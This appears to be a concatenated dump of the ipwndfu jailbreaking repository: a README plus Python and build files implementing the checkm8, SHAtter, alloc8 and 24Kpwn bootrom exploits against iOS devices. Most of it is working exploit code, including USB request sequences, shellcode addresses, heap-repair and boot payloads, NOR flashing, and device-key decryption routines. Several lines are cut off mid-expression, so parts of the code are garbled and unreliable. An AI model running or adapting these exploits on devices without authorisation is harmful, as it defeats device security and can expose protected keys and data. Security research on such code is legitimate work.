arm-none-eabi-as -mthumb --fatal-warnings -o bin/checkm8_armv7.o src/checkm8_armv7.S
arm-none-eabi-objcopy -O binary bin/checkm8_armv7.o bin/checkm8_armv7.bin
rm bin/checkm8_armv7.o
arm64:
xcrun -sdk iphoneos clang src/usb_0xA1_2_arm64.S -target arm64-apple-darwin -Wall -o bin/usb_0xA1_2_arm64.o
gobjcopy -O binary -j .text bin/usb_0xA1_2_arm64.o bin/usb_0xA1_2_arm64.bin
rm bin/usb_0xA1_2_arm64.o
xcrun -sdk iphoneos clang src/checkm8_arm64.S -target arm64-apple-darwin -Wall -o bin/checkm8_arm64.o
gobjcopy -O binary -j .text bin/checkm8_arm64.o bin/checkm8_arm64.bin
rm bin/checkm8_arm64.o
xcrun -sdk iphoneos clang src/t8010_t8011_disable_wxn_arm64.S -target arm64-apple-darwin -Wall -o bin/t8010_t8011_disable_wxn_arm64.o
gobjcopy -O binary -j .text bin/t8010_t8011_disable_wxn_arm64.o bin/t8010_t8011_disable_wxn_arm64.bin
rm bin/t8010_t8011_disable_wxn_arm64.o
xcrun -sdk iphoneos clang src/t8015_shellcode_arm64.S -target arm64-apple-darwin -Wall -o bin/t8015_shellcode_arm64.o
gobjcopy -O binary -j .text bin/t8015_shellcode_arm64.o bin/t8015_shellcode_arm64.bin
rm bin/t8015_shellcode_arm64.o
================================================
FILE: README.md
================================================

# Open-source jailbreaking tool for many iOS devices
**Read [disclaimer](#disclaimer) before using this software.*
## checkm8
* permanent unpatchable bootrom exploit for hundreds of millions of iOS devices
* meant for researchers, this is not a jailbreak with Cydia yet
* allows dumping SecureROM, decrypting keybags for iOS firmware, and demoting device for JTAG
* current SoC support: s5l8947x, s5l8950x, s5l8955x, s5l8960x, t8002, t8004, t8010, t8011, t8015
* future SoC support: s5l8940x, s5l8942x, s5l8945x, s5l8747x, t7000, t7001, s7002, s8000, s8001, s8003, t8012
* full jailbreak with Cydia on latest iOS version is possible, but requires additional work
## Quick start guide for checkm8
1. Use a cable to connect device to your Mac. Hold buttons as needed to enter DFU Mode.
2. First run ```./ipwndfu -p``` to exploit the device. Repeat the process if it fails, it is not reliable.
3. Run ```./ipwndfu --dump-rom``` to get a dump of SecureROM.
4. Run ```./ipwndfu --decrypt-gid KEYBAG``` to decrypt a keybag.
5. Run ```./ipwndfu --demote``` to demote device and enable JTAG.
## Features
* Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit. :-)
* Pwned DFU Mode with steaks4uce exploit for S5L8720 devices.
* Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922 devices.
* Pwned DFU Mode with SHAtter exploit for S5L8930 devices.
* Dump SecureROM on S5L8920/S5L8922/S5L8930 devices.
* Dump NOR on S5L8920 devices.
* Flash NOR on S5L8920 devices.
* Encrypt or decrypt hex data on a connected device in pwned DFU Mode using its GID or UID key.
## Dependencies
This tool should be compatible with Mac and Linux. It won't work in a virtual machine.
* libusb, `If you are using Linux: install libusb using your package manager.`
* [iPhone 3GS iOS 4.3.5 iBSS](#ibss)
## Tutorial
This tool can be used to downgrade or jailbreak iPhone 3GS (new bootrom) without SHSH blobs, as documented in [JAILBREAK-GUIDE](https://github.com/axi0mX/ipwndfu/blob/master/JAILBREAK-GUIDE.md).
## Exploit write-up
Write-up for alloc8 exploit can be found here:
https://github.com/axi0mX/alloc8
## iBSS
Download iPhone 3GS iOS 4.3.5 IPSW from Apple:
http://appldnld.apple.com/iPhone4/041-1965.20110721.gxUB5/iPhone2,1_4.3.5_8L1_Restore.ipsw
In Terminal, extract iBSS using the following command, then move the file to ipwndfu folder:
```
unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3
```
## Coming soon!
* Reorganize and refactor code.
* Easier setup: download iBSS automatically using partial zip.
* Dump SecureROM on S5L8720 devices.
* Install custom boot logos on devices jailbroken with 24Kpwn and alloc8.
* Enable verbose boot on devices jailbroken with 24Kpwn and alloc8.
## Disclaimer
**This is BETA software.**
Backup your data.
This tool is currently in beta and could potentially brick your device. It will attempt to save a copy of data in NOR to nor-backups folder before flashing new data to NOR, and it will attempt to not overwrite critical data in NOR which your device requires to function. If something goes wrong, hopefully you will be able to restore to latest IPSW in iTunes and bring your device back to life, or use nor-backups to restore NOR to the original state, but I cannot provide any guarantees.
**There is NO warranty provided.**
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
## Toolchain
You will not need to use `make` or compile anything to use ipwndfu. However, if you wish to make changes to assembly code in `src/*`, you will need to use an ARM toolchain and assemble the source files by running `make`.
If you are using macOS with Homebrew, you can use binutils and gcc-arm-embedded. You can install them with these commands:
```
brew install binutils
brew cask install https://raw.githubusercontent.com/Homebrew/homebrew-cask/b88346667547cc85f8f2cacb3dfe7b754c8afc8a/Casks/gcc-arm-embedded.rb
```
## Credit
geohot for limera1n exploit
posixninja and pod2g for SHAtter exploit
chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. for 24Kpwn exploit
pod2g for steaks4uce exploit
walac for pyusb
================================================
FILE: SHAtter.py
================================================
# Credit: This file is based on SHAtter exploit (segment overflow) by posixninja and pod2g.
import struct, sys, time
import dfu
def generate_payload():
shellcode_address = 0x8402F198 + 1
data = struct.pack('<40sI', '\xF0' * 40, shellcode_address)
tags = data + struct.pack('<4s2I4s2I', 'SHSH'[::-1], 12, 0, 'CERT'[::-1], 12, 0)
header = struct.pack('<4s3I4s', 'Img3'[::-1], 20 + len(tags), len(tags), len(data), 'ibss'[::-1])
with open('bin/SHAtter-shellcode.bin', 'rb') as f:
shellcode = f.read()
assert len(shellcode) <= 1024
return header + tags + shellcode
def exploit():
print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***'
device = dfu.acquire_device()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
if 'CPID:8930' not in device.serial_number:
print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.'
sys.exit(1)
if 'SRTG:[iBoot-574.4]' not in device.serial_number:
print 'ERROR: CPID is compatible, but serial number string does not match.'
print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
sys.exit(1)
dfu.reset_counters(device)
dfu.get_data(device, 0x40)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.get_data(device, 0x2C000)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
dfu.reset_counters(device)
dfu.get_data(device, 0x140)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.send_data(device, generate_payload())
dfu.get_data(device, 0x2C000)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
failed = 'PWND:[SHAtter]' not in device.serial_number
dfu.release_device(device)
if failed:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
================================================
FILE: alloc8.py
================================================
import copy, struct, sys
alloc8_constants_359_3 = [
0x84034000, # 1 - MAIN_STACK_ADDRESS
0x544, # 2 - clean_invalidate_data_cache
0x84024020, # 3 - gNorImg3List
0x1ccd, # 4 - free
0x3ca1, # 5 - exit_critical_section
0x451d, # 6 - home_button_pressed
0x450d, # 7 - power_button_pressed
0x44e1, # 8 - cable_connected
0x696c6c62, # 9 - ILLB_MAGIC
0x1f6f, # 10 - get_nor_image
0x84000000, # 11 - LOAD_ADDRESS
0x24000, # 12 - MAX_SIZE
0x3969, # 13 - jump_to
0x38a1, # 14 - usb_create_serial_number_string
0x8e7d, # 15 - strlcat
0x349d, # 16 - usb_wait_for_image
0x84024228, # 17 - gLeakingDFUBuffer
0x65786563, # 18 - EXEC_MAGIC
0x1f79, # 19 - memz_create
0x1fa1, # 20 - memz_destroy
0x696d6733, # 21 - IMG3_STRUCT_MAGIC
0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
0x1fe5, # 23 - image3_create_struct
0x2655, # 24 - image3_load_continue
0x277b, # 25 - image3_load_fail
]
alloc8_constants_359_3_2 = [
0x84034000, # 1 - MAIN_STACK_ADDRESS
0x544, # 2 - clean_invalidate_data_cache
0x84024020, # 3 - gNorImg3List
0x1ccd, # 4 - free
0x3ca9, # 5 - exit_critical_section
0x4525, # 6 - home_button_pressed
0x4515, # 7 - power_button_pressed
0x44e9, # 8 - cable_connected
0x696c6c62, # 9 - ILLB_MAGIC
0x1f77, # 10 - get_nor_image
0x84000000, # 11 - LOAD_ADDRESS
0x24000, # 12 - MAX_SIZE
0x3971, # 13 - jump_to
0x38a9, # 14 - usb_create_serial_number_string
0x8e85, # 15 - strlcat
0x34a5, # 16 - usb_wait_for_image
0x84024228, # 17 - gLeakingDFUBuffer
0x65786563, # 18 - EXEC_MAGIC
0x1f81, # 19 - memz_create
0x1fa9, # 20 - memz_destroy
0x696d6733, # 21 - IMG3_STRUCT_MAGIC
0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
0x1fed, # 23 - image3_create_struct
0x265d, # 24 - image3_load_continue
0x2783, # 25 - image3_load_fail
]
def empty_img3(size):
assert size >= 20
return struct.pack('<4s3I4s', 'Img3'[::-1], size, 0, 0, 'zero'[::-1]) + '\x00' * (size - 20)
def exploit(nor, version):
if version == '359.3':
constants = alloc8_constants_359_3
exceptions = [0x5620, 0x5630]
elif version == '359.3.2':
constants = alloc8_constants_359_3_2
exceptions = [0x5628, 0x5638]
else:
print 'ERROR: SecureROM version %s is not supported by alloc8.' % version
sys.exit(1)
for c in nor.parts[1]:
assert c == '\x00'
assert len(nor.images) < 32
MAX_SHELLCODE_LENGTH = 460
with open('bin/alloc8-shellcode.bin', 'rb') as f:
shellcode = f.read()
assert len(shellcode) <= MAX_SHELLCODE_LENGTH
# Shellcode has placeholder values for constants; check they match and replace with constants from config.
placeholders_offset = len(shellcode) - 4 * len(constants)
for i in range(len(constants)):
offset = placeholders_offset + 4 * i
(value,) = struct.unpack('= 700
new_nor = copy.deepcopy(nor)
new_images = []
for image in new_nor.images:
assert len(image) >= 20
if image[16:20] != 'zero'[::-1]:
new_images.append(image)
assert len(new_images) < 32
new_nor.images = new_images
new_nor.parts[1] = '\x00' * 460
return new_nor
================================================
FILE: checkm8.py
================================================
import array, ctypes, struct, sys, time
import usb
import dfu
# Must be global so garbage collector never frees it
request = None
transfer_ptr = None
never_free_device = None
def libusb1_create_ctrl_transfer(device, request, timeout):
ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)
assert ptr is not None
transfer = ptr.contents
transfer.dev_handle = device._ctx.handle.handle
transfer.endpoint = 0 # EP0
transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL
transfer.timeout = timeout
transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer
transfer.length = len(request)
transfer.user_data = None
transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL
transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER
return ptr
def libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):
if usb.backend.libusb1._lib is not device._ctx.backend.lib:
print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'
sys.exit(1)
global request, transfer_ptr, never_free_device
request_timeout = int(timeout) if timeout >= 1 else 0
start = time.time()
never_free_device = device
request = array.array('B', struct.pack(' dest:
value = 0x18000000 - (src - dest) / 4
else:
value = 0x14000000 + (dest - src) / 4
return struct.pack(' 0:
part = min(amount, MAX_PACKET_SIZE)
ret = device.ctrl_transfer(0xA1, 2, 0, 0, part, 5000)
assert len(ret) == part
data += ret.tostring()
amount -= part
return data
def request_image_validation(device):
#print 'Requesting image validation.'
assert device.ctrl_transfer(0x21, 1, 0, 0, '', 1000) == 0
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)
usb_reset(device)
================================================
FILE: dfuexec.py
================================================
import binascii, datetime, hashlib, struct, sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import dfu, recovery, image3, image3_24Kpwn, utilities
EXEC_MAGIC = 'exec'[::-1]
AES_BLOCK_SIZE = 16
AES_GID_KEY = 0x20000200
AES_UID_KEY = 0x20000201
AES_ENCRYPT = 16
AES_DECRYPT = 17
class PwnedDeviceConfig:
def __init__(self, version, cpid, aes_crypto_cmd, memmove, get_block_device, load_address, rom_address, rom_size, rom_sha256):
self.version = version
self.cpid = cpid
self.aes_crypto_cmd = aes_crypto_cmd
self.memmove = memmove
self.get_block_device = get_block_device
self.load_address = load_address
self.rom_address = rom_address
self.rom_size = rom_size
self.rom_sha256 = rom_sha256
configs = [
#PwnedDeviceConfig(
# # S5L8720 (old bootrom)
# version='240.4',
# cpid='8720',
# aes_crypto_cmd=0x899,
# memmove=0x795c,
# get_block_device=0x1091,
# load_address=0x22000000,
# rom_address=0x20000000,
# rom_size=0x10000,
# rom_sha256='55f4d8ea2791ba51dd89934168f38f0fb21ce8762ff614c1e742407c0d3ca054'
#),
#PwnedDeviceConfig(
# # S5L8720 (new bootrom)
# version='240.5.1',
# cpid='8720',
# aes_crypto_cmd=0x899,
# memmove=0x7964,
# get_block_device=0x1091,
# load_address=0x22000000,
# rom_address=0x20000000,
# rom_size=0x10000,
# rom_sha256='f15ae522dc9e645fcf997f6cec978ed3ce1811915e84938c68203fb95d80d300'
#),
PwnedDeviceConfig(
# S5L8920 (old bootrom)
version='359.3',
cpid='8920',
aes_crypto_cmd=0x925,
memmove=0x83d4,
get_block_device=0x1351,
load_address=0x84000000,
rom_address=0xbf000000,
rom_size=0x10000,
rom_sha256='99fd16f919a506c7f0701620e132e18c0e6f4025a57a85807960ca092e5e3587'
),
PwnedDeviceConfig(
# S5L8920 (new bootrom)
version='359.3.2',
cpid='8920',
aes_crypto_cmd=0x925,
memmove=0x83dc,
get_block_device=0x1351,
load_address=0x84000000,
rom_address=0xbf000000,
rom_size=0x10000,
rom_sha256='0e6feb1144c95b1ee088ecd6c45bfdc2ed17191167555b6ca513d6572e463c86'),
PwnedDeviceConfig(
# S5L8922
version='359.5',
cpid='8922',
aes_crypto_cmd=0x919,
memmove=0x8564,
get_block_device=0x1851,
load_address=0x84000000,
rom_address=0xbf000000,
rom_size=0x10000,
rom_sha256='07b8a615f00961c5802451b5717c344db287b68c5f6d2331ac6ba7a6acdbac9d'
),
PwnedDeviceConfig(
# S5L8930
version='574.4',
cpid='8930',
aes_crypto_cmd=0x686d,
memmove=0x84dc,
get_block_device=0x81d5,
load_address=0x84000000,
rom_address=0xbf000000,
rom_size=0x10000,
rom_sha256='4f34652a238a57ae0018b6e66c20a240cdbee8b4cca59a99407d09f83ea8082d'
),
]
class PwnedDFUDevice():
def __init__(self):
device = dfu.acquire_device()
self.identifier = device.serial_number
dfu.release_device(device)
if 'PWND:[' not in self.identifier:
print 'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.'
sys.exit(1)
if 'CPID:8720' in self.identifier:
print 'ERROR: This feature is not supported on iPod Touch (2nd generation).'
sys.exit(1)
self.config = None
for config in configs:
if 'SRTG:[iBoot-%s]' % config.version in self.identifier:
self.config = config
break
if self.config is None:
print 'ERROR: Device seems to be in pwned DFU Mode, but a matching configuration was not found.'
sys.exit(1)
def ecid_string(self):
tokens = self.identifier.split()
for token in tokens:
if token.startswith('ECID:'):
return token[5:]
print 'ERROR: ECID is missing from USB serial number string.'
sys.exit(1)
def execute(self, cmd, receiveLength):
device = dfu.acquire_device()
assert self.identifier == device.serial_number
dfu.reset_counters(device)
dfu.send_data(device, EXEC_MAGIC + cmd)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
requiredLength = 0x8 + receiveLength
requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800
received = dfu.get_data(device, requiredLength)
dfu.release_device(device)
(exec_cleared, retval) = struct.unpack('<2I', received[:8])
assert exec_cleared == 0
return (retval, received[8:8 + receiveLength])
def securerom_dump(self):
securerom = self.read_memory(self.config.rom_address, self.config.rom_size)
if hashlib.sha256(securerom).hexdigest() != self.config.rom_sha256:
print 'ERROR: SecureROM was dumped, but the SHA256 hash does not match. Exiting.'
sys.exit(1)
return securerom
def aes(self, data, action, key):
if len(data) % AES_BLOCK_SIZE != 0:
print 'ERROR: Length of data for AES encryption/decryption must be a multiple of %s.' % AES_BLOCK_SIZE
sys.exit(1)
cmd = struct.pack('<8I', self.config.aes_crypto_cmd, action, self.config.load_address + 36, self.config.load_address + 0x8, len(data), key, 0, 0)
(retval, received) = self.execute(cmd + data, len(data))
return received[:len(data)]
def aes_hex(self, hexdata, action, key):
if len(hexdata) % 32 != 0:
print 'ERROR: Length of hex data for AES encryption/decryption must be a multiple of %s.' % (2 * AES_BLOCK_SIZE)
sys.exit(1)
return binascii.hexlify(self.aes(binascii.unhexlify(hexdata), action, key))
def read_memory(self, address, length):
(retval, data) = self.execute(struct.pack('<4I', self.config.memmove, self.config.load_address + 8, address, length), length)
return data
def write_memory(self, address, data):
(retval, data) = self.execute(struct.pack('<4I%ss' % len(data), self.config.memmove, address, self.config.load_address + 20, len(data), data), 0)
return data
def nor_dump(self, saveBackup):
(bdev, empty) = self.execute(struct.pack('<2I5s', self.config.get_block_device, self.config.load_address + 12, 'nor0\x00'), 0)
if bdev == 0:
print 'ERROR: Unable to dump NOR. Pointer to nor0 block device was NULL.'
sys.exit(1)
data = self.read_memory(bdev + 28, 4)
(read,) = struct.unpack(' dest:
value = 0x18000000 - (src - dest) / 4
else:
value = 0x14000000 + (dest - src) / 4
return struct.pack('= 3072:
data = tag[3][:3072]
assert data[-1] == '\x00'
data = data.rstrip('\x00')
self.tags[i] = ('CERT'[::-1], 12 + len(data), len(data), data)
break
def newImage3(self, decrypted=True):
typeTag = self.getTags('TYPE'[::-1])
assert len(typeTag) == 1
versTag = self.getTags('VERS'[::-1])
assert len(versTag) <= 1
dataTag = self.getTags('DATA'[::-1])
assert len(dataTag) == 1
sepoTag = self.getTags('SEPO'[::-1])
assert len(sepoTag) <= 2
bordTag = self.getTags('BORD'[::-1])
assert len(bordTag) <= 2
kbagTag = self.getTags('KBAG'[::-1])
assert len(kbagTag) <= 2
shshTag = self.getTags('SHSH'[::-1])
assert len(shshTag) <= 1
certTag = self.getTags('CERT'[::-1])
assert len(certTag) <= 1
(tagMagic, tagTotalSize, tagDataSize, tagData) = dataTag[0]
if len(kbagTag) > 0 and decrypted:
newTagData = self.getDecryptedPayload()
kbagTag = []
else:
newTagData = tagData
assert len(tagData) == len(newTagData)
return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, newTagData)] + versTag + sepoTag + bordTag + kbagTag + shshTag + certTag)
================================================
FILE: image3_24Kpwn.py
================================================
# Credit: This file is based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al.
import struct
import image3
def exploit(img3, securerom):
with open('bin/24Kpwn-shellcode.bin', 'rb') as f:
shellcode = f.read()
MAX_SHELLCODE_LENGTH = 1024
assert len(shellcode) <= MAX_SHELLCODE_LENGTH
# Check IMG3 constraints.
(img3_magic, total_size, data_size, signed_size, magic) = struct.unpack('<4s3I4s', img3[:20])
assert img3_magic == 'Img3'[::-1] and signed_size != 0 and magic == 'illb'[::-1]
assert total_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12
assert data_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
assert signed_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
assert 20 + signed_size + 4 <= len(img3) and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1]
PADDING = 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - (20 + signed_size + 12)
SHELLCODE_ADDRESS = 0x84000000 + 1 + (20 + signed_size + 12 + PADDING)
STACK_ADDRESS = 0x84033EA4
img3 = struct.pack('<4s3I4s', 'Img3'[::-1], 0x24200, 0x241BC, 0x23F88, 'illb'[::-1]) + img3[20:20 + signed_size] \
+ struct.pack('4s2I%sx' % PADDING, '24KP'[::-1], 12 + PADDING + len(shellcode) + 4, PADDING + len(shellcode) + 4) + shellcode \
+ struct.pack(' 0x24000
assert img3[16:20] == 'illb'[::-1]
obj = image3.Image3(img3)
if obj.getDecryptedPayload()[:4] != '\x0e\x00\x00\xea':
# This is a 24Kpwn implementation which changes DATA tag. First dword of DATA tag should look like a shellcode address.
shellcode_address, = struct.unpack(' 0x24000:
nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
nor.images[0] = image3_24Kpwn.exploit(nor.images[0], device.securerom_dump())
device.flash_nor(nor.dump())
if opt == '--remove-24kpwn':
device = PwnedDFUDevice()
if device.config.cpid != '8920':
print 'This is not a compatible device. 24Kpwn exploit is only supported on iPhone 3GS.'
sys.exit(1)
print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
raw_input("Press ENTER to continue.")
dump = device.nor_dump(saveBackup=True)
nor = nor.NorData(dump)
if len(nor.images) == 0:
print 'ERROR: NOR has no valid LLB. It seems that 24Kpwn exploit is not installed. Exiting.'
sys.exit(1)
if len(nor.images[0]) <= 0x24000:
print 'ERROR: LLB is not oversized. It seems that 24Kpwn exploit is not installed. Exiting.'
sys.exit(1)
print 'Preparing modified NOR without 24Kpwn exploit.'
nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
device.flash_nor(nor.dump())
if opt == '--remove-alloc8':
device = PwnedDFUDevice()
if device.config.cpid != '8920':
print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
sys.exit(1)
print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
raw_input("Press ENTER to continue.")
dump = device.nor_dump(saveBackup=True)
nor = nor.NorData(dump)
if len(nor.images) < 700:
print 'ERROR: It seems that alloc8 exploit is not installed. There are less than 700 images in NOR. Exiting.'
sys.exit(1)
print 'Preparing modified NOR without alloc8 exploit.'
new_nor = alloc8.remove_exploit(nor)
device.flash_nor(new_nor.dump())
if opt == '--decrypt-gid':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
print 'Decrypting with %s GID key.' % pwned.platform.name()
print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_GID_KEY).encode('hex')
else:
device = PwnedDFUDevice()
print 'Decrypting with S5L%s GID key.' % device.config.cpid
print device.aes_hex(arg, AES_DECRYPT, AES_GID_KEY)
if opt == '--encrypt-gid':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
print 'Encrypting with %s GID key.' % pwned.platform.name()
print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_GID_KEY).encode('hex')
else:
device = PwnedDFUDevice()
print 'Encrypting with S5L%s GID key.' % device.config.cpid
print device.aes_hex(arg, AES_ENCRYPT, AES_GID_KEY)
if opt == '--decrypt-uid':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
print 'Decrypting with %s device-specific UID key.' % pwned.platform.name()
print pwned.aes(arg.decode('hex'), usbexec.AES_DECRYPT, usbexec.AES_UID_KEY).encode('hex')
else:
device = PwnedDFUDevice()
print 'Decrypting with device-specific UID key.'
print device.aes_hex(arg, AES_DECRYPT, AES_UID_KEY)
if opt == '--encrypt-uid':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'PWND:[checkm8]' in serial_number:
pwned = usbexec.PwnedUSBDevice()
print 'Encrypting with %s device-specific UID key.' % pwned.platform.name()
print pwned.aes(arg.decode('hex'), usbexec.AES_ENCRYPT, usbexec.AES_UID_KEY).encode('hex')
else:
device = PwnedDFUDevice()
print 'Encrypting with device-specific UID key.'
print device.aes_hex(arg, AES_ENCRYPT, AES_UID_KEY)
if opt == '--boot':
device = dfu.acquire_device()
serial_number = device.serial_number
dfu.release_device(device)
if 'CPID:8015' not in serial_number or 'PWND:[checkm8]' not in serial_number:
print serial_number
print 'ERROR: Option --boot is currently only supported on iPhone X pwned with checkm8.'
else:
HEAP_BASE = 0x1801E8000
HEAP_WRITE_OFFSET = 0x5000
HEAP_WRITE_HASH = 0x10000D4EC
HEAP_CHECK_ALL = 0x10000DB98
HEAP_STATE = 0x1800086A0
NAND_BOOT_JUMP = 0x10000188C
BOOTSTRAP_TASK_LR = 0x180015F88
DFU_BOOL = 0x1800085B0
DFU_NOTIFY = 0x1000098B4
DFU_STATE = 0x1800085E0
TRAMPOLINE = 0x180018000
block1 = struct.pack('<8Q', 0, 0, 0, HEAP_STATE, 2, 132, 128, 0)
block2 = struct.pack('<8Q', 0, 0, 0, HEAP_STATE, 2, 8, 128, 0)
device = usbexec.PwnedUSBDevice()
device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET , block1)
device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET + 0x80, block2)
device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET + 0x100, block2)
device.write_memory(HEAP_BASE + HEAP_WRITE_OFFSET + 0x180, block2)
device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET )
device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET + 0x80)
device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET + 0x100)
device.execute(0, HEAP_WRITE_HASH, HEAP_BASE + HEAP_WRITE_OFFSET + 0x180)
device.execute(0, HEAP_CHECK_ALL)
print 'Heap repaired.'
device.write_memory(TRAMPOLINE, checkm8.asm_arm64_branch(TRAMPOLINE, TRAMPOLINE + 0x400))
device.write_memory(TRAMPOLINE + 0x400, open('bin/t8015_shellcode_arm64.bin').read())
device.write_memory_ptr(BOOTSTRAP_TASK_LR, NAND_BOOT_JUMP)
device.write_memory(DFU_BOOL, '\x01')
device.execute(0, DFU_NOTIFY, DFU_STATE)
print 'Booted.'
================================================
FILE: ipwnrecovery
================================================
#!/usr/bin/python
# ipwnrecovery: open-source jailbreaking tool for older iOS devices
# Author: axi0mX
import getopt, sys
import usb # pyusb: use 'pip install pyusb' to install this module
import recovery
def print_help():
print 'USAGE: ipwnrecovery [options]'
print 'Interact with an iOS device in Recovery Mode.\n'
print 'Basic options:'
print ' -c cmd\t\t\trun command on device'
print ' -f file\t\t\tsend file to device in Recovery Mode'
print 'Advanced options:'
print ' --enable-uart\t\t\tset debug-uarts to 3 and reboot device'
print ' --exit-recovery-loop\t\tenable auto-boot and reboot device'
if __name__ == '__main__':
try:
advanced = ['exit-recovery-loop', 'enable-uart']
opts, args = getopt.getopt(sys.argv[1:], 'c:f:', advanced)
except getopt.GetoptError:
print 'ERROR: Invalid arguments provided.'
print_help()
sys.exit(2)
if len(opts) == 0:
print_help()
sys.exit(2)
for opt, arg in opts:
if opt == '-c':
device = recovery.acquire_device()
try:
recovery.send_command(device, arg)
except usb.core.USBError:
print 'WARNING: Caught USBError after running command.'
recovery.release_device(device)
if opt == '-f':
try:
with open(arg, 'rb') as f:
data = f.read()
except IOError:
print 'ERROR: Could not read file:', arg
sys.exit(1)
device = recovery.acquire_device()
recovery.send_data(device, data)
recovery.release_device(device)
if opt == '--exit-recovery-loop':
device = recovery.acquire_device()
# TODO: getenv auto-boot first and fail if it is already true.
recovery.send_command(device, 'setenv auto-boot true')
recovery.send_command(device, 'saveenv')
try:
recovery.send_command(device, 'reboot')
except usb.core.USBError:
# OK: this is expected when rebooting
pass
recovery.release_device(device)
if opt == '--enable-uart':
device = recovery.acquire_device()
# TODO: getenv debug-uarts first and fail if it is already 3.
recovery.send_command(device, 'setenv debug-uarts 3')
recovery.send_command(device, 'saveenv')
try:
recovery.send_command(device, 'reboot')
except usb.core.USBError:
# OK: this is expected when rebooting
pass
recovery.release_device(device)
================================================
FILE: libusbfinder/__init__.py
================================================
import hashlib, os, platform, cStringIO, tarfile
class VersionConfig:
def __init__(self, version, bottle, bottle_sha256, dylib_patches, dylib_sha256):
self.version = version
self.bottle = bottle
self.bottle_sha256 = bottle_sha256
self.dylib_patches = dylib_patches
self.dylib_sha256 = dylib_sha256
configs = [
VersionConfig(
version='10.14',
bottle='libusb-1.0.22.mojave.bottle',
bottle_sha256='6accd1dfe6e66c30aac825ad674e9c7a48b752bcf84561e9e2d397ce188504ff',
dylib_patches=[(0x8fd1, 'E985000000'.decode('hex'))],
dylib_sha256='34d4c0ca821a31f83f3860575f9683cdb8fc5cbd4167383eedfb8b2ba7f7d9d5'),
VersionConfig(
version='10.13',
bottle='libusb-1.0.22.high_sierra.bottle',
bottle_sha256='7b1fd86a5129620d1bbf048c68c7742ecad450de138b8186bf8e985a752b2302',
dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))],
